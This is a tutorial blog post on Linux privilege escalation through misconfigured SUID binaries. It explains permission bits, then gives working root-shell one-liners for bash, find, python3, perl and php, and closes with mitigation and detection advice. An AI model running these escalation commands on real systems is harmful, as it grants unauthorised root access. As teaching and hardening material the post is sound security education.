August 23, 2026
Linux Privilege Escalation via SUID Binaries: A Method-by-Method Walkthrough
Introduction

By Kalash Kundaliya
10 min read
Introduction
SUID (Set User ID) binaries are one of the most common — and most commonly misconfigured — privilege escalation vectors on Linux systems. When a binary has the SUID bit set and is owned by root, it executes with root's effective privileges regardless of who runs it. If that binary can spawn a shell or execute arbitrary code, a low-privileged user can ride it straight to root.
This walkthrough covers five methods, each abusing a different SUID binary. Every method follows the same three-phase structure: Lab Setup → Recon → Exploit. All testing shown here should only ever be performed in an authorized lab or CTF environment that you own or have explicit permission to test.
Before diving into the exploits, let's build up the basics in plain language — what permissions actually mean, how to read them, and what SUID, SGID, and the sticky bit really do. If you already know this, feel free to skip ahead to Method 1.
Background: Understanding Linux Permissions
Part 1: The rwx Permission Model
Every file and folder in Linux has three groups of people it cares about: the owner, the group, and everyone else (called "others"). Each of these three gets their own set of three permissions:
-rwxr-xr-- 1 root root 4096 /usr/bin/example
|||||||||||
||||||||||└── Others: r-- (read only)
|||||||└───── Group: r-x (read + execute)
||||└──────── Owner: rwx (read + write + execute)
└──────────── File type: - (regular file)-rwxr-xr-- 1 root root 4096 /usr/bin/example
|||||||||||
||||||||||└── Others: r-- (read only)
|||||||└───── Group: r-x (read + execute)
||||└──────── Owner: rwx (read + write + execute)
└──────────── File type: - (regular file)So reading a permission string is just reading it in three chunks of three letters, left to right: owner, then group, then others.
What the first character means (file type):
-
- → a regular file
d→ a directory (folder)l→ a symbolic link (a shortcut to another file)s→ a socketc→ a character deviceb→ a block device
Part 2: Turning Permissions Into Numbers
Instead of writing rwx every time, Linux lets you represent permissions as a single number. Each permission has a fixed value:
- Read (
r) → 4 - Write (
w) → 2 - Execute (
x) → 1 - No permission (-) → 0
To get the number for any combination, just add the values together:
rwx→ 4+2+1 = 7rw-→ 4+2+0 = 6r-x→ 4+0+1 = 5r--→ 4+0+0 = 4-wx→ 0+2+1 = 3-w-→ 0+2+0 = 2--x→ 0+0+1 = 1- --- → 0+0+0 = 0
Part 3: Reading a Full Permission Number
A full permission command uses three digits — one for owner, one for group, one for others:
chmod 754 /opt/scripts/backup.shchmod 754 /opt/scripts/backup.shThis produces: -rwxr-xr--
- Owner →
7→rwx(can read, write, and run it) - Group →
5→r-x(can read and run it, but not edit it) - Others →
4→r--(can only read it)
A few everyday examples:
chmod 777 /tmp/shared→-rwxrwxrwx— everyone can read, write, and run this file. This is almost always a bad idea.chmod 755 /usr/bin/ls→-rwxr-xr-x— the owner can edit it, everyone else can only read and run it. Normal for system programs.chmod 644 /etc/passwd→-rw-r--r--— the owner can edit, everyone else can only read.chmod 600 /root/.ssh/id_rsa→-rw-------— only the owner can read or write it at all. This is what a private SSH key should always look like.
Part 4: The Three Special Permission Bits
On top of the normal read/write/execute permissions, Linux has three "special" bits that change how a file or folder behaves. These get added as an extra fourth digit in front of the normal three:
chmod 4755 /usr/bin/passwd
^
4 = the special bit (SUID, SGID, or Sticky)chmod 4755 /usr/bin/passwd
^
4 = the special bit (SUID, SGID, or Sticky)- SUID (Set User ID) → value 4 — used on files
- SGID (Set Group ID) → value 2 — used on files and folders
- Sticky bit → value 1 — used on folders
Let's go through what each one actually does, in plain terms.
1. SUID (Set User ID) — value 4
In simple words: normally, when you run a program, it runs with your permissions. SUID changes that — the program instead runs with the permissions of whoever owns the file.
You'll see it in a permission string as a lowercase s in the owner's execute slot: -rwsr-xr-x.
Real example — passwd:
-rwsr-xr-x 1 root root /usr/bin/passwd-rwsr-xr-x 1 root root /usr/bin/passwdHere's the problem it solves: every user needs to be able to change their own password, but the file that stores encrypted passwords (/etc/shadow) can only be edited by root. A regular user has no permission to touch it directly.
Because passwd is owned by root and has the SUID bit set, when you run it, it temporarily runs as root — just long enough to update /etc/shadow — and then hands control back to your normal, unprivileged account. That's the intended, safe use of SUID. The problem arises when SUID ends up on a binary that can spawn a shell or run arbitrary commands — which is exactly what Methods 1 through 5 in this article demonstrate.
2. SGID (Set Group ID) — value 2
In simple words: SGID is like SUID, but for the group instead of the owner. It behaves a little differently depending on whether it's set on a file or a folder.
On a file: the program runs with the permissions of the file's group, not your own group.
On a folder (the more common use): any new file created inside that folder automatically belongs to the folder's group — not the personal group of whoever created it.
You'll see it as a lowercase s in the group's execute slot: drwxrwsr-x.
Real example — a shared team folder:
drwxrwsr-x 2 root devteam /opt/shareddrwxrwsr-x 2 root devteam /opt/sharedThe problem it solves: normally, if User A creates a file inside a shared folder, that file belongs to User A's own personal group — which can lock other teammates out of editing it.
Because this folder has SGID set, every file created inside /opt/shared automatically belongs to the devteam group instead. That means the whole team can collaborate on files without anyone needing to manually fix permissions afterward.
3. Sticky Bit — value 1
In simple words: the sticky bit protects files inside a shared folder from being deleted by anyone other than their owner (or root) — even if everyone technically has write access to that folder.
You'll see it as a t at the very end of the permission string: drwxrwxrwt.
Real example — /tmp:
drwxrwxrwt 10 root root /tmpdrwxrwxrwt 10 root root /tmpThe problem it solves: /tmp is writable by every single user on the system (rwxrwxrwx), which normally would mean anyone could delete or rename anyone else's files there.
Because the sticky bit (t) is set, that's no longer true — even though everyone can create files in /tmp, only the file's actual owner (or root) can delete or rename it. So if User A drops a file in /tmp, User B can't remove it, even though User B has full write access to the folder itself.
With those fundamentals in place, the SUID exploitation methods below will make a lot more sense — each one is really just abusing the "runs as the file owner" behavior of SUID described above, on a binary that happens to be powerful enough to spawn a root shell.
Method 1: bash
Lab Setup
Simulate the misconfiguration by giving bash the SUID bit:
chmod u+s /bin/bashchmod u+s /bin/bash
In a real assessment, you wouldn't set this yourself — you'd be looking for a binary that an administrator accidentally left this way. Here, we set it on purpose so we can safely practice finding and abusing it.
Recon
Check that the bit is really set, and list every SUID/SGID binary on the system:
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/null
/bin/bash should now show up in the list.
Exploit
Run bash with the -p (privileged) flag. Normally bash drops its extra privileges the moment it starts — -p tells it not to do that:
/usr/bin/bash -p
id
whoami/usr/bin/bash -p
id
whoami
Notice euid=0 while the real uid is still 1001. That gap between the two is the tell-tale sign that this is a SUID-based escalation, not a genuine root login.
Method 2: find
Lab Setup
chmod u+s /usr/bin/findchmod u+s /usr/bin/find
Recon
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/null
/usr/bin/find now shows up in the list.
Exploit
find has an -exec option that lets it run any command you give it. Since find itself is now SUID, whatever shell it launches inherits root's privileges too:
find . -exec /bin/sh -p \; -quit
id
whoamifind . -exec /bin/sh -p \; -quit
id
whoami
Method 3: python3
Lab Setup
chmod u+s /usr/bin/python3chmod u+s /usr/bin/python3
Recon
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/null
Exploit
Python's os.execl swaps out the current program for a new one, without starting a fresh process. Since the SUID Python interpreter is still elevated at that moment, the new shell it launches keeps that elevation:
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
id
whoamipython3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
id
whoami
Method 4: perl
Lab Setup
chmod u+s /usr/bin/perlchmod u+s /usr/bin/perl
Recon
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/null
Exploit
perl -e '$ENV{PATH}="/bin:/usr/bin"; exec "/bin/sh -p";'
id
whoamiperl -e '$ENV{PATH}="/bin:/usr/bin"; exec "/bin/sh -p";'
id
whoami
Perl's exec hands control straight over to a new shell without dropping the elevated privileges the SUID interpreter was running with — so the new shell keeps euid=0 too.
Method 5: php
Lab Setup
chmod u+s /usr/bin/phpchmod u+s /usr/bin/php
Recon
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -o -perm -6000 2>/dev/null
Exploit
PHP has a function called pcntl_exec that swaps the current process out for a new one, the same way Python's os.execl does. Because the PHP interpreter was already elevated, the new shell stays elevated too:
php -r 'pcntl_exec("/bin/sh", ["-p"]);'
id
whoamiphp -r 'pcntl_exec("/bin/sh", ["-p"]);'
id
whoami
Exploitation Conclusion
Taken together, these five methods make one thing clear: a single misconfigured SUID bit is all it takes to turn a low-privileged shell into a full root shell, regardless of which binary carries it. Interpreters like python3, perl, and php proved to be the riskiest of all, since their built-in ability to launch new processes — os.execl, exec, pcntl_exec — turns a simple permissions mistake into an instant escalation path, and even an everyday tool like find became just as dangerous once its -exec option was put to use under SUID. On the shell side, the -p flag was the common thread, letting bash -p and sh -p hold onto their inherited root privileges instead of dropping them, which also makes it a useful detection signal in logs or shell history. What stands out most, though, is how little effort the attack takes to find in the first place — a single find command lists every exploitable binary on a system in seconds — which is exactly why auditing for SUID misconfigurations, stripping the bit from anything that doesn't need it, and preferring scoped sudo rules over blanket SUID access should be standard practice for anyone responsible for securing a Linux system.
Key Takeaways
- A single misconfigured SUID bit is enough. Every method above used a different binary, but each one collapsed to the same outcome: a root shell with
euid=0. - Interpreters are the highest-risk category.
python3,perl, andphparen't designed to run as SUID — when they are, their built-in ability to spawn processes (os.execl,exec,pcntl_exec) turns them into instant privilege escalation paths. - Even "safe" utilities like
findare dangerous when SUID.find's-execflag was never intended as an attack primitive, but any binary that can launch another process is a liability once it runs with elevated privileges. - The
-pflag is the common thread on the shell side. It's what allowsbash -pandsh -pto keep their inherited root euid instead of dropping it — worth remembering as a detection signal too, since its use in logs/history is a strong indicator of exploitation. - Recon is cheap; the payoff is total. A single
findcommand enumerates every exploitable binary on the system in seconds — which is exactly why this should be the first thing checked on both sides (attacker and defender).
Mitigation Strategies
- Audit SUID binaries on a schedule. Run the recon
findcommands from this article regularly and diff the output against a known-good baseline; alert on any new entries. - Strip SUID from interpreters and shells.
python3,perl,php,bash, and similar binaries should almost never carry the SUID bit — remove it withchmod u-s <path>unless there's a specific, documented reason it's needed. - Apply least privilege via
sudo, not SUID. If a user genuinely needs to run a specific command as root, grant that exact command through a tightly scopedsudoersentry instead of making the whole binary SUID. - Use file integrity monitoring. Tools like AIDE or Tripwire can flag permission changes on sensitive binaries in near real time, catching a
chmod u+sthe moment it happens. - Consult GTFOBins during hardening. gtfobins.github.io catalogs this exact class of technique for hundreds of standard Unix binaries — cross-check your SUID inventory against it before an attacker does.
- Log and alert on privileged shell spawns. Auditd rules watching for
execvecalls to/bin/sh -por/bin/bash -pcan catch exploitation attempts as they happen, not after the fact.
Conclusion
SUID misconfigurations remain a staple of privilege escalation in CTFs, OSCP-style labs, and real-world environments alike. What makes them so persistent is how little it takes to create one — a single stray chmod u+s — and how much it grants once found. The same five-line recon command that gets an attacker root in a lab is exactly the command a sysadmin should be running on a schedule to catch it first. Understanding both sides of this equation, exploitation and mitigation, is what separates a one-off CTF trick from real operational security awareness.
💼Behind the Hack
Kalash Kundaliya is a dedicated cybersecurity professional and educator passionate about demystifying penetration testing and ethical hacking. Through detailed, practical write-ups, he aims to help aspiring security professionals build critical hands-on skills in controlled, legal lab environments.
This guide is part of his comprehensive "VulnHub DC Series Walkthrough" collection, where complex attack chains are broken down into clear, step-by-step learning experiences.
🔗 Connect & Explore:
- Portfolio: https://kalashkundaliyacyber.github.io/Portfolio/
- LinkedIn: https://www.linkedin.com/in/kalash-kundaliya-7336791a7/
- GitHub: https://github.com/Kalashkundaliyacyber
Follow for more practical cybersecurity content, in-depth write-ups, and hands-on lab guides.